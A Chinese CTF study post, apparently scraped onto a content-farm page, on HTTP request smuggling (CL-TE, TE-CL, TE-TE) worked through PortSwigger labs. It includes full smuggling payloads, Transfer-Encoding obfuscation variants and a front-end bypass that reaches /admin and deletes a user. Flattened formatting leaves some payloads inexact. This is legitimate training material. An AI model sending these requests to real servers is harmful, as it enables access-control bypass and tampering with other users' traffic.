当前位置: 首页 > news >正文

网站开发产品经理迪庆网站建设

网站开发产品经理,迪庆网站建设,做外贸一般看什么网站,广州企业网站公司CTF题型 Http请求走私总结靶场例题 文章目录 CTF题型 Http请求走私总结靶场例题HTTP请求走私HTTP请求走私漏洞原理分析为什么用前端服务器漏洞原理界定标准界定长度 重要!!!实验环境前提POST数据包结构必要结构快速判断Http请求走私类型时间延迟CL-TETE-CL 练习例题C…CTF题型 Http请求走私总结靶场例题 文章目录 CTF题型 Http请求走私总结靶场例题HTTP请求走私HTTP请求走私漏洞原理分析为什么用前端服务器漏洞原理界定标准界定长度 重要!!!实验环境前提POST数据包结构必要结构快速判断Http请求走私类型时间延迟CL-TETE-CL 练习例题CL-TE 例题TE-CL例题TE-TE例题 漏洞利用实例利用HTTP请求走私绕过前端安全控制TE.CL漏洞 HTTP请求走私 HTTP请求走私漏洞原理分析 为什么用前端服务器 keep-alive 与 pipeline 为了缓解源站的压力一般会在用户和后端服务器源站之间加设前置服务器用以缓存、简单校验、负载均衡等而前置服务器与后端服务器往往是在可靠的网络域中ip 也是相对固定的所以可以重用 TCP 连接来减少频繁 TCP 握手带来的开销。这里就用到了 HTTP1.1 中的 Keep-Alive 和 Pipeline 特性 所谓 Keep-Alive就是在 HTTP 请求中增加一个特殊的请求头 Connection: Keep-Alive告诉服务器接收完这次 HTTP 请求后不要关闭 TCP 链接后面对相同目标服务器的 HTTP 请求重用这一个 TCP 链接这样只需要进行一次 TCP 握手的过程可以减少服务器的开销节约资源还能加快访问速度。这个特性在 HTTP1.1 中是默认开启的。 有了 Keep-Alive 之后后续就有了 Pipeline在这里呢客户端可以像流水线一样发送自己的 HTTP 请求而不需要等待服务器的响应服务器那边接收到请求后需要遵循先入先出机制将请求和响应严格对应起来再将响应发送给客户端。现如今浏览器默认是不启用 Pipeline 的但是一般的服务器都提供了对 Pipleline 的支持。 漏洞原理 请求走私本质上是利用不同服务器对请求长度头部Content-Length解析时产生的差异。 重点在于 前后端服务器对 HTTP数据包有不同的解析差异 最典型的就是 Http数据包被前端服务器解析后 传递 给后端服务器但是后端服务器仅仅解析一部分Http数据包剩下的Http请求被 “缓存” 下来那么我们称这留下来的一部分为走私请求对接下来 正常用户的请求造成影响 攻击一定是前端可以解析全部后端解析部分造成 “缓存” 界定标准 CL 和 TE 即是 Content-Length 和 Transfer-Encoding 请求头 CL-TE前置服务器认为 Content-Length 优先级更高或者根本就不支持 Transfer-Encoding 后端认为 Transfer-Encoding 优先级更高 TE-CL前置服务器认为 Transfer-Encoding 优先级更高后端认为 Content-Length 优先级更高或者不支持 Transfer-Encoding TE-TE前置和后端服务器都支持 Transfer-Encoding但可以通过混淆让它们在处理时产生分歧 设置了 Transfer-Encoding: chunked 后请求主体按一系列块的形式发送并将省略 Content-Length。在每个块的开头需要用十六进制数指明当前块的长度数值后接 \r\n占 2 字节然后是块的内容再接 \r\n 表示此块结束。最后用长度为 0 的块表示终止块。终止块后是一个 trailer由 0 或多个实体头组成可以用来存放对数据的数字签名等。 界定长度 Content-Length 需要将请求主体中的 \r\n 所占的 2 字节计算在内而块长度要忽略块内容末尾表示终止的 \r\n 请求头与请求主体之间有一个空行是规范要求的结构并不计入 Content-Length 换行 前不看CL后不看TE 重要!!!实验环境前提 关闭burp自动 更新Content-Length 可以用Notepad计算长度 换行转换为 Windows (CR LF) 算两个字符便于快速计算长度 必须自己改HTTP/1.1 在Inspector中改 http协议 POST数据包结构必要结构 POST /search HTTP/1.1 Host: vulnerable-website.com Content-Type: application/x-www-form-urlencoded Content-Length: 4 [我是换行] [我是数据]一个正常的POST数据包必须有 快速判断Http请求走私类型 以下实验环境网站 CL-TE https://portswigger.net/web-security/request-smuggling/finding/lab-confirming-cl-te-via-differential-responses TE-CL https://portswigger.net/web-security/request-smuggling/finding/lab-confirming-te-cl-via-differential-responses 时间延迟 要首先验证CL.TE排除后再验证TE.CL否则产生其他影响。 CL-TE 可以自己改HTTP/1.1 在Inspector中改 http协议 POST / HTTP/1.1 Host: 0ad7007204b6b7768010cb76004500db.web-security-academy.net Content-Type: application/x-www-form-urlencoded Content-Length: 4 Transfer-Encoding: chunked1 A前端服务器 content-type传递了 1/r/nA [4个字符] 后端服务器 等待 0 作为结束块进行等待到超时 TE-CL POST / HTTP/1.1 Host: 0afe00dc041f4f9881dca4760096003d.web-security-academy.net Content-Length: 0 Transfer-Encoding: chunked0 后端服务器等待 Content-lenth长度发生等待 练习例题 CL-TE 例题 前置服务器认为 Content-Length 优先级更高或者根本就不支持 Transfer-Encoding 后端认为 Transfer-Encoding 优先级更高。 https://portswigger.net/web-security/request-smuggling/lab-basic-cl-te 可以轻易判断有6个字符 POST / HTTP/1.1 Host: 0acf000004b5d9a08101483000920008.web-security-academy.net Content-Type: application/x-www-form-urlencoded Content-Length: 6 Transfer-Encoding: chunked0G0G被传递给后端 后端读到0终止 G 被缓存下来 后续请求造成HTTP请求走私 TE-CL例题 TE-CL前置服务器认为 Transfer-Encoding 优先级更高后端认为 Content-Length 优先级更高或者不支持 Transfer-Encoding 。 https://portswigger.net/web-security/request-smuggling/lab-basic-te-cl 如果我们仿照CL-TE的构造思路 POST /search HTTP/1.1 Host: vulnerable-website.com Content-Type: application/x-www-form-urlencoded Content-Length: 4 Transfer-Encoding: chunked1 G 0 前端TE带入 1 G 0后端CL解析 1 G是不行的不可避免带入 0 给后端服务器 有G必有0 官方给出的思路 POST / HTTP/1.1 Host: YOUR-LAB-ID.web-security-academy.net Content-Type: application/x-www-form-urlencoded Content-length: 4 Transfer-Encoding: chunked5c GPOST / HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 15x1 0 [我是换行] [我是换行]这里的5c是如何来的 有92的字符转换为16进制就是5C 这里的第二个Content-Length为什么是15 加了两个换号 我觉得是因为 第一个换行是分块0结束后换行的格式第二个换行标识消息头结束 最后用长度为 0 的块表示终止块。终止块后是一个 trailer由 0 或多个实体头组成可以用来存放对数据的数字签名等 如何计算都得不到15?.. 还是记下来以后解决 后记因为需要把下一个数据包进来的请求头给挤掉不然后端会认为是两个请求只要比原先的Content-Length更长一点就可以了 整体分析 GPOST / HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 15x1 0 [换行] [换行]这一部分被缓存下来 实现HTTP请求走私 TE-TE例题 TE-TE前置和后端服务器都支持 Transfer-Encoding但可以通过混淆让它们在处理时产生分歧其实也就是变成了 CL-TE 或 TE-CL https://portswigger.net/web-security/request-smuggling/lab-obfuscating-te-header PortSwigger 给出了一些可用于混淆的 payload Transfer-Encoding: xchunkedTransfer-Encoding[空格]: chunkedTransfer-Encoding: chunked Transfer-Encoding: xTransfer-Encoding:[tab]chunked[空格]Transfer-Encoding: chunkedX: X[\n]Transfer-Encoding: chunkedTransfer-Encoding : chunked前置和后端服务器可能对 TE 这个不规范的请求头的处理产生分歧 官方payload 通过加入混淆代码Transfer-encoding: cow 变为TE-CL类型 POST / HTTP/1.1 Host: YOUR-LAB-ID.web-security-academy.net Content-Type: application/x-www-form-urlencoded Content-length: 4 Transfer-Encoding: chunked Transfer-encoding: cow5c GPOST / HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 15x1 0 [换行] [换行]实现HTTP请求走私攻击 漏洞利用实例 利用HTTP请求走私绕过前端安全控制TE.CL漏洞 TE-CL型 https://portswigger.net/web-security/request-smuggling/exploiting/lab-bypass-front-end-controls-te-cl 前端限制直接访问/admin 被拒绝 构造payload POST / HTTP/1.1 Host: 0a11006c03a914cf806e94a200f50054.web-security-academy.net Content-Type: application/x-www-form-urlencoded Content-length: 4 Transfer-Encoding: chunked60 POST /admin HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 15x1 0 [换行] [换行]HTTP走私内容添加 Host: localhost 添加后payload注意改16进制的数值 GET / HTTP/1.1 Host: 0a11006c03a914cf806e94a200f50054.web-security-academy.net Content-Type: application/x-www-form-urlencoded Content-length: 4 Transfer-Encoding: chunked71 POST /admin HTTP/1.1 Host: localhost Content-Type: application/x-www-form-urlencoded Content-Length: 15x1 0 [换行] [换行]返回 尝试直接点击被禁止多半前端服务器又做了安全限制 GET / HTTP/1.1 Host: 0a11006c03a914cf806e94a200f50054.web-security-academy.net Content-Type: application/x-www-form-urlencoded Content-length: 4 Transfer-Encoding: chunked88 POST /admin/delete?usernamecarlos HTTP/1.1 Host: localhost Content-Type: application/x-www-form-urlencoded Content-Length: 15x1 0 [换行] [换行]可以删除成功
http://www.hkea.cn/news/14430350/

相关文章:

  • 国外做无纺布的网站网站服务器搭建XP
  • 陕西建设网站互联网公司排名2022销售额
  • 西安学校网站建设哪家专业装饰工程施工方案范本
  • 给中小企业提供网站建设服务微信小程序卖货怎么做
  • 网站开发哪一门语言更快三河seo
  • 政务网站建设需求网站制作报价维持地建网络
  • 杭州手机模板建站上海工商网上办事大厅官网
  • 鞍山网站制作人才招聘沾化网站建设
  • 硅胶 技术支持 东莞网站建设公司的网站续费
  • 网站做授权登录wordpress 7牛云
  • 凤泉网站建设wordpress 下载管理
  • 住房和城乡建设部网站投诉电话软装设计师证
  • 做网站需要多少钱卖片可以吗百度免费打开
  • 潍坊做网站建设办公用品网站建设
  • 什么网站有做面条的app网站开发众筹
  • 免费设计房屋的网站汽车之家官网网页版入口
  • 企业网站网址邢台建设网
  • asp.net mvc 5 网站开发之美 pdf在线做网站怎么做
  • 杭州建设网站 网站建设网页网站的区别
  • 网站建设 项目文档网站开发建设属于什么费用
  • 百度seo流量seo网站推广 沈阳
  • 做网站查询违章网站开发主要学些什么软件
  • 误入网站退不了怎么做福田祥菱
  • 无代码网站开发平台上位机软件开发培训
  • 网站ftp的所有权归谁广州建设交易中心网站首页
  • 淘宝客建站还能赚钱吗深圳附近推广
  • 陕西 工程建设 公司 网站木樨园网站建设公司
  • wordpress客户表单数据做模板网站推荐乐云seo
  • 网站建设市场前景建设公司网站意义
  • 有哪些做农产品的网站网站开发用什么